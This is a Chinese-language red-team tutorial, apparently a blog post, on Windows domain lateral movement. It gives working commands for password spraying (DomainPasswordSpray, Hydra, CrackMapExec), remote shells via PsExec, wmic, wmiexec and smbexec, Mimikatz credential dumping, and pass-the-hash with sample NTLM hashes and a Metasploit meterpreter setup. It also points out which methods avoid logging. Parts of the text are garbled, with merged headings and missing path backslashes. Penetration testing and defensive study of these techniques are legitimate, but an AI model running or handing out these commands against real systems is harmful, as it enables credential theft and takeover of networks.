文章目录 密码喷洒攻击(Password Spraying)crackDomainPasswordSprayMetasploit超级弱口令工具CrackMapExecHydraPsExec通过 WMIExec 来进⾏横向移动WMI使用方法wmiexec 使⽤(135端口、无回显)smbexec.py 使⽤ 大气的小刺猬传递攻击(Pass-the-Hash,port 445)CrackMapExec批量PTHMimikatzMetasploit
密码喷洒攻击(Password Spraying) crack
crack 是⼀款⾮常好⽤的密码喷洒⼯具,并且速度快,⽀持对⼀个 C、B 段进⾏基于 smb 密码喷洒。
命令语法:
喷洒成功会在当前路径下⽣成⼀个 result.txt ⽂件,⾥⾯就是喷洒成功的结果:
DomainPasswordSpray.ps1是用PowerShell编写的工具,用于对域用户执行密码喷洒攻击。默认情况下它将利用LDAP从域中导出用户列表,然后扣掉被锁定的用户,再用固定密码进行密码喷洒。
下载地址:https://github.com/dafthack/DomainPasswordSpray
从域中收集用户列表
powershell.exe -exec bypass -Command "& {Import-Module .DomainPasswordSpray.ps1;Get-DomainUserList}"
从域中收集用户列表,包括任何未禁用且未接近锁定状态的账户。它会将结果写入"userlist.txt"文件中
从域环境中获取用户名,然后使用密码admin@123进行认证枚举
powershell.exe -exec bypass -Command "& {Import-Module .DomainPasswordSpray.ps1;Invoke-DomainPasswordSpray -Password admin@123}"
从user.txt中提取用户名,与passlist.txt中的密码对照成一对口令,进行域认证枚举,登录成功后会输出到sprayed-creds.txt
如果只对⼯作组的话就可以设置 smbdomain 为:
msf6 >set smbdomain . 超级弱口令工具超级弱⼝令检查⼯具是⼀款Windows平台的弱⼝令审计⼯具,⽀持批量多线程检查,可快速发现弱密码、弱⼝令账号,密码⽀持和⽤户名结合进⾏检查,⼤⼤提⾼成功率,⽀持⾃定义服务端⼝和字典。 ⼯具采⽤C#开发,需要安装.NET Framework 4.0,⼯具⽬前⽀持SSH、RDP、SMB、MySQL、SQLServer、Oracle、FTP、MongoDB、Memcached、PostgreSQL、Telnet、SMTP、SMTP_SSL、POP3、POP3_SSL、IMAP、IMAP_SSL、SVN、VNC、Redis等服务的弱⼝令检查⼯作。
下载地址:https://github.com/shack2/SNETCracker
CrackMapExecCrackMapExec(⼜名 CME)是⼀款⾮常好⽤的密码喷洒攻击的⼯具,在 Kali Linux 默认已经安装好。
下载地址:https://github.com/byt3bl33d3r/CrackMapExec
Hydra 是最著名的暴⼒破解⼯具之⼀,我将在这⾥针对 SMB 协议,这款⼯具⼏乎可以使⽤任何其他协议来完成密码喷洒。
hydra -L users.txt -p admin!@#45 10.10.10.12 smb PsExecPsExec 包含在 PsTools ⼯具包中,下载地址:https://download.sysinternals.com/files/PSTools.zip
通过 PsExec 可以在远程⽬标主机上执⾏命令,也可以将管理员权限提升到 System 权限以运⾏指定的程序。
PsExec 的基本原理是:通过管道在远程⽬标主机上创建⼀个 psexec 服务,并在本地磁盘中⽣成⼀个名为”PSEXESVC“的⼆进制⽂件,然后通过 psexec 服务运⾏命令,运⾏结束后删除服务。
PsExec使用
⾸先,需要获取⽬标操作系统的交互式 Shell。在建⽴了 ipc$ 的情况下执行:
net use \<目标ip> /u:<域名><用户> <密码>net use \10.10.10.10 /u:redteamadmins admin!@#45执⾏如下命令,获取⽬标域控(10.10.10.10) System 权限的 Shell:
PsExec.exe -accepteula \<目标ip> -s cmd.exePsExec.exe -accepteula \10.10.10.10 -s cmd.exe# -accepteula 第⼀次运⾏ PsExec 会弹出确认框,使⽤该参数就不会弹出确认框# -s 以System权限运⾏远程进程,获得⼀个System权限的交互式Shell,如果不⽤这个参数,那么会获得⼀个administrator权限的shellPsExec.exe -accepteula \10.10.10.10 cmd.exe# 不加s获得一个administrator的权限如果⽬标没有建⽴ IPC 的情况下,就可以使⽤这条命令来指定账号和密码进⾏远程连接:
PsExec.exe \<目标ip> -u <域><⽤户名> -p <密码> cmd.exePsExec.exe \10.10.10.10 -u redteamadmins -p admin!@#45 cmd.exe# -u 域⽤户名# -p 密码若我们不想要获取⼀个交互式 shell,只想要执⾏命令并回显的话就可以使⽤这条命令:
PsExec.exe \<目标ip> -u <域><⽤户名> -p <密码> cmd /c "ipconfig"PsExec.exe \10.10.10.10 -u redteamadmins -p admin!@#45 cmd /c "ipconfig"PsExec 注意事项
需要远程系统开启 admin$ 共享(默认是开启的),原理是基于 IPC$ 共享,⽬标需要开放 445 端⼝和admin$ 共享,admin$共享分享路径为C:Winodws,看了下在我电脑上是开启的。在使⽤ IPC 连接⽬标系统后,不需要输⼊账户和密码在使⽤ PsExec 执⾏远程命令时,会在⽬标系统中创建⼀个 psexec 的服务。命令执⾏完后,psexec 服务将被⾃动删除。由于创建或删除服务时会产⽣⼤量的⽇志,可以在攻击溯源时通过⽇志反推攻击流程使⽤ PsExec 可以直接获得 System 权限的交互式 Shell(前提⽬标是 administrator 权限的 shell )在域环境测试时发现,⾮域⽤户⽆法利⽤内存中的票据使⽤ PsExec 功能,只能依靠账号和密码进⾏传递。 通过 WMIExec 来进⾏横向移动
⾃从 PsExec 在内⽹中被严格监控后,越来越多的反病毒⼚商将 PsExec 加⼊了⿊名单,于是红队⼈员们渐渐开始使⽤ WMI 进⾏横向移动。
通过发现在使⽤ wmiexec 进⾏横向移动时,windows 操作系统默认不会将 WMI 的操作记录在⽇志中。因此很多APT 组织也开始渐渐使⽤ WMI 进⾏攻击。
WMI使用方法执⾏⼀条命令,并将结果保存在 C 盘的 ip.txt ⽂件中:
wmic /node:<目标ip> /user:<域><⽤户名> /password:<密码> process call create"cmd.exe /c ipconfig >c:ip.txt"wmic /node:10.10.10.10 /user:redteamadmins /password:admin!@#45 process call create "cmd.exe /c ipconfig >c:ip.txt"若是想要直接查看执⾏命令的结果,那么我们可以先建⽴IPC,然后使⽤ type 查看命令结果的⽂件:
# 建⽴IPC$net use \10.10.10.10 /u:redteamadmins admin!@#45# type读取结果type \10.10.10.10c$ip.txt使⽤ wmic 远程执⾏命令,在远程系统中启动 Windows Mannagement Instrumentation 服务(⽬标服务器需要
开放 135 端⼝,wmic 会以管理员权限在远程系统中执⾏命令)。
如果⽬标服务器开启了防⽕墙,wmic 将⽆法进⾏连接。此外 wmic 命令没有回显,需要使⽤ ipc$ 和 type 命令来读取信息。
PS:wmic 执⾏的是⼀些恶意⽂件程序,那么将不会留下攻击⽇志。
下载地址:https://github.com/SecureAuthCorp/impacket
脚本在impacket ⼯具包中的 examples ⽬录下,运⾏脚本获取远程⽬标系统的 shell:
# 不指定密码python3 wmiexec.py administrator@10.10.10.8# 指定账户密码python wmiexec.py Administrator:Admin12345@10.10.10.8 smbexec.py 使⽤脚本在impacket ⼯具包中的 examples ⽬录下,远程执⾏⽬标系统命令:
python3 smbexec.py 'redteam.com/admins:admin!@#45'@10.10.10.10 大气的小刺猬传递攻击(Pass-the-Hash,port 445)在打了 kb2871997 这个补丁后,常规的 Pass The Hash 已经⽆法成功,但默认的Administrator(SID 500)账号例外,利⽤这个账号仍可以进⾏ Pass The Hash远程ipc连接。以上所有操作均针对的SID 500。
CrackMapExec批量PTH批量pth
crackmapexec 192.168.0.0/24 -u administrator -H d747b7b8037e8669c771f6a9d803419b:86c01dc8633fc387a503b05615f8afb1执行命令
crackmapexec smb 192.168.1.161 -u Yoga -H AAD3B435B51404EEAAD3B435B51404EE:14CE14C36F1F350380B41C6F4D42BC06 --exec-method wimexec -x whoami Mimikatz这个时候使⽤ mimikatz 进⾏ PTH:
# 运⾏命令弹出CMDmimikatz "privilege::debug" "sekurlsa::pth /user:admins /domain:redteam.com /ntlm:518b98ad4178a53695dc997aa02d455c"# 与域控建⽴IPCnet use \10.10.10.10# 查看⽬标机器的C盘⽂件dir \10.10.10.10c$这个时候会弹出⼀个 CMD 窗⼝,此时和域控制器建⽴ IPC (⽆需密码)后,直接可以查看⽬标机器 C 盘⽂件。
Metasploit注意:使⽤ Metasploit 进⾏大气的小刺猬传递只能是 administrator ⽤户的 LM-hash 和 NTLM-hash。
首先抓取hash
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"* LM : e90127c07127ed12f4ebf668acca53e9* NTLM : 518b98ad4178a53695dc997aa02d455c然后进行PTH
msf6 > setg Proxies socks5:192.168.0.1:1080msf6 > setg ReverseAllowProxy truemsf6 > use exploit/windows/smb/psexecmsf6 > set payload windows/meterpreter/bind_tcpmsf6 > set rhost 10.10.10.3msf6 > set SMBDomain redteammsf6 > set SMBuser administratormsf6 > set SMBpass e90127c07127ed12f4ebf668acca53e9:518b98ad4178a53695dc997aa02d455c# 冒号前⾯为LM后⾯为NTLMmsf6 > run